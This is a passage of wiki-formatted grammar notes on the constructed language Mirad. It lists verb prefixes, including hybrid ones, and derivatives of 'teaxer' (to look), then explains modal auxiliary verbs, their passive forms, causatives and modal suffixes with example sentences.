::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

The prefix '''huim''' is a hybrid of '''hum''' (''there'') and '''him''' (''there'')

::* '''paper'''....''to fly'' → '''&lt;u&gt;huim&lt;/u&gt;paper'''....''to fly here and yon''
::* '''per'''....''to go'' → '''&lt;u&gt;huim&lt;/u&gt;per'''....''to wander''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;huim&lt;/u&gt;kexer'''....''to search high and low''

=== Different Nuances of '''teaxer''' with Prefixes ===
&lt;div style=&quot;background: lightyellow;{{Text default color}}; border: solid blue 2px; {{column-count|3}};{{column-rule|2px solid blue}};font-size:smaller;&quot;;&gt;
::* '''teaxer'''....''to look, behold, regard''
::* '''aybteaxer'''....''to supervise, look over''
::* '''ajteaxer'''....''to look back on (retrospect)''
::* '''eynteaxer'''....''to squint''
::* '''fizteaxer'''....''to respect''
::* '''fuzteaxer'''....''to disrespect''
::* '''gawteaxer'''....''to review, re-look''
::* '''hyuitteaxer'''....''to look at one another''
::* '''ibteaxer'''....''to ignore''
::* '''igteaxer'''....''to glance, glimpse''
::* '''ifteaxer'''....''to marvel at''
::* '''izteaxer'''....''to view directly, confront, aim''
::* '''jateaxer'''....''to preview''
::* '''jeteaxer'''....''to watch, observe''
::* '''joteaxer'''....''to review''
::* '''kateaxer'''....''to look for''
::* '''keteaxer'''....''to scan''
::* '''kiteaxer'''....''to look askance''
::* '''koteaxer'''....''to peek, spy''
::* '''kozyeteaxer'''....''to peep''
::* '''kozyoteaxer'''....''to peer''
::* '''kuteaxer'''....''to observe''
::* '''kyeteaxer'''....''to browse''
::* '''kyoteaxer'''....''to stare, glare''
::* '''oteaxer'''....''to ignore, overlook''
::* '''ufteaxer'''....''to glare, leer''
::* '''ugteaxer'''....''to gaze''
::* '''yagteaxer'''....''to gape, gawk''
::* '''yebteaxer'''....''to inspect''
::* '''yibteaxer'''....''to view from afar''
::* '''yogteaxer'''....''to glance at''
::* '''yokteaxer'''....''to get a glimpse of''
::* '''yubteaxer'''....''to examine''
::* '''yuibteaxer'''....''to look near and far''
::* '''yuzteaxer'''....''to look around, circumspect''
::* '''yanteaxer'''....''to view together''
::* '''yizteaxer'''....''to look beyond, overlook''
::* '''vyateaxer'''....''to investigate, check out''
::* '''vyoteaxer'''....''to view wrongly''
::* '''zateaxer'''....''to face, confront''
::* '''zayteaxer'''....''to look ahead, expect''
::* '''zoyteaxer'''....''to look back''
::* '''zeyteaxer'''....''to look across''
::* '''ziteaxer'''....''to look to the right''
::* '''zuteaxer'''....''to look to the left''
::* '''zuiteaxer'''....''to look right and left''
::* '''zyateaxer'''....''to look all over, survey''
::* '''zyeteaxer'''....''to look through, peruse''
::* '''zyoteaxer'''....''to squint''
::* '''yobteaxer'''....''to look down''
::* '''yaobteaxer'''....''to look up and down''
::* '''zaoteaxer'''....''to look back and forth''
::* '''yabteaxer'''....''to look up''
::* '''yubketeaxer'''....''to pry''
::* '''uzteaxer'''....''to look indirectly at''
::* '''oyebteaxer'''....''to look out''
::* '''ojteaxer'''....''to peer into the future''
::* '''marteaxer'''....''to star-gaze''
::* '''tabteaxer'''....''to autopsy''
&lt;/div&gt;

== Modal Verbs ==
: Modal verbs are auxiliary verbs that are usually followed by the main verb in the infinitive or a subjunctive dependent clause and have to do with wanting, permitting, prohibiting, being able, being unable, needing, being obliged to do something, etc. 
==== Principal Modal Auxiliary Verbs ====
[[File:Ladies Should Listen poster.jpg|thumb|]]
: Mirad has a set of modal auxiliary verbs that can be followed by a main verb in the infinitive mode.  This is very much like English modal auxiliary verbs in the following examples:
::* ''I &lt;u&gt;want&lt;/u&gt; to go.''
::* ''You &lt;u&gt;must&lt;/u&gt; wait.''
::* ''You &lt;u&gt;may&lt;/u&gt; stay.''
::* ''I &lt;u&gt;dare&lt;/u&gt; say.''

: Here is a chart showing the main modal auxiliary verbs in Mirad:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Principle Modal Auxiliary Verbs
|-
! Type !! Positive !! Negative
|-
! Permission
| '''afer'''....''may''&lt;br&gt;'''ayfer'''....''might'' || '''ofer'''....''may not''&lt;br&gt;'''oyfer'''....''might not''
|-
! Ability
| '''yafer'''....''can''||'''yofer'''....''cannot''
|-
! Need 
| '''efer'''....''need to'' ||
|-
! Obligation
| '''yefer'''....''must''&lt;br&gt;'''yeyfer'''....''should'' ||'''oyefer'''....''must not''&lt;br&gt;'''oyeyfer'''....''should not''
|-
! Desire 
| '''fer'''....''want to'' ||
|-
! Enjoyment 
| '''ifer'''....''love to, enjoy''&lt;br&gt;'''iyfer'''....''like to'' || '''ufer'''....''hate to''&lt;br&gt;'''uyfer'''....''dislike to''
|-
! Courage
|'''yifer'''....''dare to'' || '''yufer'''....''be afraid to, fear''
|-
! Liberty
| '''yiver'''....''have a right to, be free to'' ||  '''yuver'''....''be bound to, be supposed to''
|-
! Expectation
| '''yaker'''....''expect to'' || '''yoker'''....''be surprised to''
|-
! Conation
| '''yeker'''....''try to'' || 
|-
! Difficulty
| '''yiker'''....''to find it hard to'' || '''yuker'''....''to find it easy to''
|}

: These modal auxiliary verbs are often followed by a verbal infinitive, as in the following examples:
::* '''At fe &lt;u&gt;ter&lt;/u&gt;.'''....''I want &lt;u&gt;to know&lt;/u&gt;.''
::* '''Wit yifa &lt;u&gt;yeper&lt;/u&gt;.'''....''He dared &lt;u&gt;to enter&lt;/u&gt;.''
::* '''Yat yafe &lt;u&gt;teater&lt;/u&gt; yet.'''....''We can &lt;u&gt;see&lt;/u&gt; you.''
::* '''Duven et yaka &lt;u&gt;aker&lt;/u&gt;?'''....''Did you expect &lt;u&gt;to win&lt;/u&gt;?''
::* '''Diwe yeku &lt;u&gt;xer&lt;/u&gt; ga fi.'''....''Please try &lt;u&gt;to do&lt;/u&gt; better.''

: If the modal verb is in the hypothetical aspect (conditional), then the sense is somewhat mitigated, as in these examples:

:* '''At &lt;u&gt;fe&lt;/u&gt; per.'''....''I &lt;u&gt;want&lt;/u&gt; to go.''
:* '''At &lt;u&gt;fu&lt;/u&gt; per.'''....''I &lt;u&gt;would&lt;/u&gt; like to go.''

:* '''Et &lt;u&gt;yafe&lt;/u&gt; aker.'''....''You &lt;u&gt;can&lt;/u&gt; win.''
:* '''Et &lt;u&gt;yafu&lt;/u&gt; aker.'''....''You &lt;u&gt;could&lt;/u&gt; win.''

:* '''Yet &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Yet &lt;u&gt;yefu&lt;/u&gt; iper.'''....''You &lt;u&gt;ought&lt;/u&gt; to leave.''

: Post-y-gliding the stem vowel of the modal verb also reduces the strength, for example:

:* '''At &lt;u&gt;ife&lt;/u&gt; et.''' ....''I &lt;u&gt;love&lt;/u&gt; you.''
:* '''At &lt;u&gt;iyfe&lt;/u&gt; et.''' ....''I &lt;u&gt;like&lt;/u&gt; you.''

:* '''Et &lt;u&gt;yefe&lt;/u&gt; iper.'''....''You &lt;u&gt;must&lt;/u&gt; leave.''
:* '''Et &lt;u&gt;yeyfe&lt;/u&gt; iper.'''....''You &lt;u&gt;should&lt;/u&gt; leave.''

:* '''Iyt &lt;u&gt;yafe&lt;/u&gt; aker.'''....''She &lt;u&gt;can&lt;/u&gt; win.''
:* '''Iyt &lt;u&gt;yayfe&lt;/u&gt; aker.'''....''She &lt;u&gt;might&lt;/u&gt; win.''

:* '''At &lt;u&gt;ufa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;hated&lt;/u&gt; that art.''
:* '''At &lt;u&gt;uyfa&lt;/u&gt; uda tuz.'''....''I &lt;u&gt;disliked&lt;/u&gt; that art.''

: The use of '''l''' and '''r''' intensify the meaning of the auxiliary verbs, eg:

:* '''Et &lt;u&gt;yuve&lt;/u&gt; puer jwe.'''....''You &lt;u&gt;are supposed&lt;/u&gt; to arrive on time.''
:* '''Et &lt;u&gt;yuvle&lt;/u&gt; tepzexer.'''....''You &lt;u&gt;have&lt;/u&gt; to pay attention.''
:* '''Et &lt;u&gt;yuvre&lt;/u&gt; buer nas.'''....''You &lt;u&gt;absolutely must&lt;/u&gt; give money.''

:* '''At &lt;u&gt;yeka&lt;/u&gt; ser yeva.'''....''I &lt;u&gt;tried&lt;/u&gt; to be fair.''
:* '''At &lt;u&gt;yekla&lt;/u&gt; ujber jwa.'''....''I &lt;u&gt;strove&lt;/u&gt; to finish early.''
:* '''At &lt;u&gt;yekra&lt;/u&gt; nixer ga nas.'''....''I &lt;u&gt;struggled (= worked hard))&lt;/u&gt; to earn more money.''

:* '''Iyt &lt;u&gt;ife&lt;/u&gt; eker zyun.'''....''She &lt;u&gt;loves&lt;/u&gt; to play ball.''
:* '''Iyt &lt;u&gt;ifla&lt;/u&gt; teater et.'''....''She &lt;u&gt;was delighted&lt;/u&gt; to see you.''
:* '''Iyt &lt;u&gt;ifre&lt;/u&gt; teaper him.'''....''She &lt;u&gt;adores&lt;/u&gt; visiting here.''

: Here are some examples showing how these modal verbs are used as auxiliaries:

::* '''Et &lt;u&gt;afe&lt;/u&gt; oyeper ay ifeker.'''....''You &lt;u&gt;may&lt;/u&gt; go out and play.''
::* '''Yat &lt;u&gt;efa&lt;/u&gt; tujer.'''....''We &lt;u&gt;needed&lt;/u&gt; to sleep.''
::* '''Ot &lt;u&gt;ofe&lt;/u&gt; mavier him.'''....''One &lt;u&gt;is prohibited&lt;/u&gt; to smoke here.''
::* '''Mavier him &lt;u&gt;ofwe&lt;/u&gt;.'''....''Smoking here is prohibited.''
::* '''At &lt;u&gt;ife&lt;/u&gt; dyeer.'''....''I &lt;u&gt;love&lt;/u&gt; to read.''
::* '''Duven et &lt;u&gt;fe&lt;/u&gt; yeper?'''....''Do you &lt;u&gt;want&lt;/u&gt; to come in?''
::* '''At &lt;u&gt;fu&lt;/u&gt; teaper et edjub.'''....''I &lt;u&gt;would like&lt;/u&gt; to visit you some day.''
::* '''It &lt;u&gt;ufaye hyaj&lt;/u&gt; teaxwer.'''....''He &lt;u&gt;has always hated&lt;/u&gt; being looked at.''
::* '''Duven et &lt;u&gt;iyfe&lt;/u&gt; per tilami?'''....''Do you &lt;u&gt;like&lt;/u&gt; going to bars?''
::* '''At &lt;u&gt;uyfe&lt;/u&gt; tijer gra jwa.'''....''I &lt;u&gt;dislike&lt;/u&gt; waking up too early.''
::* '''Et &lt;u&gt;yafe&lt;/u&gt; xer hyehos et fu.'''....''You &lt;u&gt;can&lt;/u&gt; do whatever you like.''
::* '''Et &lt;u&gt;yefer&lt;/u&gt; xer ad vyaas.'''....''You &lt;u&gt;must&lt;/u&gt; do the right thing.''
::* '''Et &lt;u&gt;yeyfe&lt;/u&gt; voy daler huuyen azay.'''....''You &lt;u&gt;should&lt;/u&gt; not talk so loud.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; ter ga fi.'''....''I &lt;u&gt;should have&lt;/u&gt; known better.''
::* '''At &lt;u&gt;voy yifu&lt;/u&gt; der hyea fuas.'''....''I &lt;u&gt;would not dare&lt;/u&gt; say anything bad.''
::* '''&lt;u&gt;Von yufu&lt;/u&gt; der hos et tesde.'''....''&lt;u&gt;Don't be afraid&lt;/u&gt; to say what you mean.''
::* '''Et &lt;u&gt;yive&lt;/u&gt; dier yevanavdut.'''....''You &lt;u&gt;have a right&lt;/u&gt; to ask for a lawyer.''
::* '''Yat &lt;u&gt;voy yuvle&lt;/u&gt; kyoejer.'''....''We &lt;u&gt;are not bound&lt;/u&gt; to stick around.''

=== Subject-oriented vs. Patient-oriented Modal Verb Forms ===

:: All of these modal verbs can be passive, in which case they are &quot;patient-oriented&quot; rather than &quot;subject-oriented.&quot; The participial adjective '''yafa'''....''able'' is subject-oriented and refers to a person, whereas the passived adjective '''yafwa'''....''possible'' is patient-oriented and refers to a thing or event. Here is a chart of the principal modal verbs and corresponding participial adjectives with this subject/object-orientation distinction shown:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Subject-oriented vs. Patient-oriented Modal Verb Forms
|-
! Modal Type || Subject-oriented !! Subject-oriented !! Patient-oriented !! Patient-oriented
|-
! !! Verb !! Adjective !! Verb !! Adjective
|-
!row=1| Permission
| '''afer'''&lt;br&gt;''may'' || '''afa'''&lt;br&gt;''allowed'' || '''afwer'''&lt;br&gt;''be permitted'' || '''afwa'''&lt;br&gt;''permissable''
|-
!row=1| Necessity 
| '''efer'''&lt;br&gt;''need'' || '''efa'''&lt;br&gt;''needful'' || '''efwer'''&lt;br&gt;''be necessary'' || '''efwa'''&lt;br&gt;''necessary, required''
|-
!row=1| Prohibition
| '''ofer'''&lt;br&gt;''be unallowed'' || '''ofa'''&lt;br&gt;''prohibited'' || '''ofwer'''&lt;br&gt;''be prohibited'' || '''ofwa'''&lt;br&gt;''banned''
|-
!row=1| Possibility
| '''yafer'''&lt;br&gt;''be able'' || '''yafa'''&lt;br&gt;''able'' || '''yafwer'''&lt;br&gt;''be possible'' || '''yafwa'''&lt;br&gt;''possible''
|-
!row=1| Obligation
| '''yefer'''&lt;br&gt;''must'' || '''yefa'''&lt;br&gt;''obliged'' || '''yefwer'''&lt;br&gt;''be obligatory'' || '''yefwa'''&lt;br&gt;''obligatory''
|-
!row=1| Duty 
| '''yeyfer'''&lt;br&gt;''should'' || '''yeyfa'''&lt;br&gt;''supposed, duty-bound'' || '''yeyfwer'''&lt;br&gt;''be supposed'' || '''yeyfwa'''&lt;br&gt;''due''
|-
!row=1| Impossibility
| '''yofer'''&lt;br&gt;''be unable'' || '''yofa'''&lt;br&gt;''unable'' || '''yofwer'''&lt;br&gt;''be impossible'' || '''yofwa'''&lt;br&gt;''impossible''
|-
!row=1| Volition
| '''fer'''&lt;br&gt;''want'' || '''fa'''&lt;br&gt;''desirous'' || '''fwer'''&lt;br&gt;''be desirable'' || '''fwa'''&lt;br&gt;''desirable, wanted''
|-
!row=1| Love 
| '''ifer'''&lt;br&gt;''love''&lt;br&gt;'''iyfer'''&lt;br&gt;''like'' || '''ifa'''&lt;br&gt;''enamored''&lt;br&gt;'''iyfa'''&lt;br&gt;''fond'' || '''ifwer'''&lt;br&gt;''be loved''&lt;br&gt;'''iyfwer'''&lt;br&gt;''be liked'' || '''ifwa'''&lt;br&gt;''lovable''&lt;br&gt;'''iyfwa'''&lt;br&gt;''likeable''
|-
!row=1| Hate 
| '''ufer'''&lt;br&gt;''hate''&lt;br&gt;'''uyfer'''&lt;br&gt;''dislike'' || '''ufa'''&lt;br&gt;''averse''&lt;br&gt;'''uyfa'''&lt;br&gt;''displeased''|| '''ufwer'''&lt;br&gt;''be hated''&lt;br&gt;'''uyfwer'''&lt;br&gt;''be disliked'' || '''ufwa'''&lt;br&gt;''odious''&lt;br&gt;''unliked''
|-
!row=1| Courage 
| '''yifer'''&lt;br&gt;''dare'' || '''yifa'''&lt;br&gt;''daring, brave'' || '''yifwer'''&lt;br&gt;''be safe'' || '''yifwa'''&lt;br&gt;''safe''
|-
!row=1| Fear 
| '''yufer'''&lt;br&gt;''be afraid'' || '''yufa'''&lt;br&gt;''afraid'' || '''yufwer'''&lt;br&gt;''be a danger'' || '''yufwa'''&lt;br&gt;''frightening''
|-
!row=1| Joy 
| '''iver'''&lt;br&gt;''enjoy'' || '''iva'''&lt;br&gt;''glad'' || '''ivwer'''&lt;br&gt;''be a joy'' || '''ivwa'''&lt;br&gt;''enjoyable''
|-
!row=1| Sorrow
| '''uver'''&lt;br&gt;''be sorry'' || '''uva'''&lt;br&gt;''sorry, sad'' || '''uvwer'''&lt;br&gt;''be a shame'' || '''uvwa'''&lt;br&gt;''regrettable''
|}

: Examples of subject-oriented forms:

::* '''At se &lt;u&gt;yafa&lt;/u&gt; xer hes.'''....''I &lt;u&gt;am capable of&lt;/u&gt; doing anything.''
::* '''Et &lt;u&gt;ofe&lt;/u&gt; teater hia dyezun.'''....''You &lt;u&gt;are not allowed/are prohibited&lt;/u&gt; to see this film.''
::* '''Duven at &lt;u&gt;afe&lt;/u&gt; per hum?'''....''Am I &lt;u&gt;allowed&lt;/u&gt; to go there?''
::* '''Yat &lt;u&gt;fu&lt;/u&gt; ter eta dyun.'''....''We &lt;u&gt;would like&lt;/u&gt; to know your name.''
::* '''Piti &lt;u&gt;ufe&lt;/u&gt; beser be mel.'''....''Fish &lt;u&gt;hate&lt;/u&gt; to remain on dry land.''
::* '''At ajay &lt;u&gt;ifa&lt;/u&gt; dazer.'''....''I once &lt;u&gt;loved&lt;/u&gt; to dance.''
::* '''Et se iva, at &lt;u&gt;yife&lt;/u&gt; der.'''....''You are beautiful, I &lt;u&gt;dare&lt;/u&gt; say.''
::* '''At &lt;u&gt;yeyfa&lt;/u&gt; xer has ga ig.'''....''I &lt;u&gt;should&lt;/u&gt; have done it sooner.''
::* '''Von &lt;u&gt;yufu&lt;/u&gt;; At yupeye.'''....''&lt;u&gt;Fear&lt;/u&gt; not; I am coming.''
::* '''Et &lt;u&gt;yefe&lt;/u&gt; puer ja eymaj.'''....''You &lt;u&gt;must&lt;/u&gt; arrive before noon.''
::* '''Yet &lt;u&gt;yofe&lt;/u&gt; daler je ha dezun.'''....''You people &lt;u&gt;must not&lt;/u&gt; talk during the performance.''
::* '''Yat &lt;u&gt;yeyfe&lt;/u&gt; (= se &lt;u&gt;yeyfa&lt;/u&gt;) aker.'''....''We should (= are &lt;u&gt;bound/supposed/due&lt;/u&gt;) to win.''
::* '''At &lt;u&gt;ive&lt;/u&gt; teater et bakser.'''....''I&lt;u&gt;'m glad&lt;/u&gt; to see you get better.''
::* '''Su &lt;u&gt;iva&lt;/u&gt;.'''....''Be &lt;u&gt;happy&lt;/u&gt;.''
::* '''At &lt;u&gt;uvu (= su uva)&lt;/u&gt; teater et iper.'''....''I &lt;u&gt;would be sad&lt;/u&gt; to see you leave.''

: Examples of patient-oriented forms:

::* '''&lt;u&gt;Afwe&lt;/u&gt; (= se afwa) mavier him.'''....''&lt;u&gt;It is permissible&lt;/u&gt; to smoke here.''
::* '''&lt;u&gt;Ofwe&lt;/u&gt; (= se ofwa*) puxer fyumul him.'''....''&lt;u&gt;It is prohibited&lt;/u&gt; to throw litter here.''
::* '''&lt;u&gt;Fwe&lt;/u&gt; (= se fwa) van yet dolu.'''....''&lt;u&gt;It is desired&lt;/u&gt; that you stop talking.''
::* '''&lt;u&gt;Voy yafwe&lt;/u&gt; beser him gajob.'''....''&lt;u&gt;It is not possible&lt;/u&gt; to remain here any longer.''
::* '''&lt;u&gt;Yofwa&lt;/u&gt; av at ivteuder.'''....''&lt;u&gt;It was not possible&lt;/u&gt; for me to laugh.''
::* '''&lt;u&gt;Yefwe&lt;/u&gt; van et piu ig.'''....''&lt;u&gt;It is essential&lt;/u&gt; that you leave quickly.''
::* '''He &lt;u&gt;yeyfwe&lt;/u&gt; ober ata tyoyafi?'''....''Is &lt;u&gt;it obligatory&lt;/u&gt; to remove my shoes?''
::* '''Ga yux &lt;u&gt;efwo&lt;/u&gt;.'''....''More help &lt;u&gt;will be needed&lt;/u&gt;.''
::* '''Yuxren se &lt;u&gt;ufwa&lt;/u&gt; xetyen.'''....''Slavery is an &lt;u&gt;odious&lt;/u&gt; practice.''
::* '''&lt;u&gt;Uvwe&lt;/u&gt; van wit oka.'''....''&lt;u&gt;It's a shame&lt;/u&gt; that he lost.''

:: *&lt;small&gt;'''lofwa''' is used for ''unwanted'' for disambiguation purposes.&lt;/small&gt;

=== Deriving Causatives from Modal Stems ===

: Various causative verbs can be formed from modal stems, as shown in the chart below:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Deriving Causatives from Modal Stems
|-
! Subject-oriented !! Patient-oriented
|-
| '''afxer'''....''allow'' (someone to do sthg.) || '''afwaxer'''....''permit'' (something to be done)
|-
| '''efxer'''....''require'' || '''efwaxer'''....''necessitate''
|-
| '''ofxer'''....''prohibit'' || '''ofwaxer'''....''prohibit''
|-
| '''yafxer'''....''enable'' || '''yafwaxer'''....''make possible''
|-
| '''yefxer'''....''oblige'' || '''yefwaxer'''....''make obligatory''
|-
| '''yofxer'''....''cripple'' || '''yofwaxer'''....''disable''
|-
| '''yifxer'''....''embolden'' || '''yifwaxer'''....''make safe''
|-
| '''yufxer'''....''intimidate'' || '''yufwaxer'''....''make frightening''
|-
| '''ifxer'''....''please'' || '''ifwaxer'''....''make pleasant''
|}

=== Creating Modal Verbs and Adjectives with Modal Stem Suffixes ===

: Verb stems can be suffixed with modal participles to produce related modal verbs and adjectives.  The first chart shows the modal participles themselves that can be suffixed to verb stems.  Subject-oriented forms refer only to people, while patient-oriented forms (ending in '''-wa''') refer only to things.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modal Suffixes
|-
! Subject-oriented !! Patient-oriented
|-
| '''-yafa'''....''able to X, -able'' || '''-yafwa'''....''possible to X''
|-
| '''-yofa'''....''unable to X'' || '''-yofwa'''....''impossible to X''
|-
| '''-ifa'''....''fond of Xing, Xophile'' || '''-ifwa'''....''enjoyable to X''
|-
| '''-ufa'''....''averse to Xing, Xophobic'' ||'''-ufwa'''....''unenjoyable to X''
|-
| '''-yika'''....''hard of Xing'' || '''-yikwa'''....''hard to X'' 
|-
| '''-yuka'''....''comfortable/easy Xing'' || '''-yukwa'''....''easy to X''
|-
| '''-yaka'''....''expecting to X'' || '''yakwa'''....''expected/likely to X''
|-
| '''-efa'''....''in need of Xing'' || '''-efwa'''....''necessary to X''
|-
| '''-yefa'''....''obliged to X'' || '''-yefwa'''....''obligatory/due to X''
|-
| '''-yufa'''....''afraid of Xing'' || '''-yufwa'''....''frightening to X''
|}

: This table shows some of these modal suffixes applied to actual verb and noun stems:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Modals and Orientation
|-
! Orientation !! Positive Adjective !! Positive Verb !! Negative Adjective !! Negative Verb
|-
!row=1| '''Subject''' 
| '''teatyafa'''&lt;br&gt;''able to see, sighted'' || '''teatyafer'''&lt;br&gt;''be able to see'' || '''teatyofa'''&lt;br&gt;''blind'' || '''teatyofer'''&lt;br&gt;''be blind''
|-
!row=1| '''Patient''' 
| '''teatyafwa'''&lt;br&gt;''visible'' || '''teatyafwer'''&lt;br&gt;''be visible'' || '''teatyofwa'''&lt;br&gt;''invisible'' || '''teatyofwer'''&lt;br&gt;''be invisible''
|-
!row=1| '''Subject''' 
| '''teetyafa'''&lt;br&gt;''able to hear, hearing'' || '''teetyafer'''&lt;br&gt;''be able to hear'' || '''teetyofa'''&lt;br&gt;''deaf'' || '''teatyofer'''&lt;br&gt;''be deaf''
|-
!row=1| '''Patient''' 
| '''teetyafwa'''&lt;br&gt;''audible'' || '''teetyafwer'''&lt;br&gt;''be audible'' || '''teeyofwa'''&lt;br&gt;''inaudible'' || '''teeyofwer'''&lt;br&gt;''be inaudiable''
|-
!row=1| '''Subject''' 
| '''dalyafa'''&lt;br&gt;''able to speak'' || '''dalyafer'''&lt;br&gt;''be able to speak'' || '''dalyofa'''&lt;br&gt;''mute, dumb'' || '''dalyofer'''&lt;br&gt;''be mute, dumb''
|-
!row=1| '''Subject''' 
| '''doabifa'''&lt;br&gt;''patriotic'' || '''doabifer'''&lt;br&gt;''be patriotic'' || '''doabufa'''&lt;br&gt;''rebellious'' || '''doabufer'''&lt;br&gt;''rebel'' 
|-
!row=1| '''Subject''' 
| '''tosyafa'''&lt;br&gt;''sensitive'' || '''tosyafer'''&lt;br&gt;''be able to feel'' || '''tosyofa'''&lt;br&gt;''insensitive'' || '''tosyofer'''&lt;br&gt;''be numbed''
|-
!row=1| '''Patient''' 
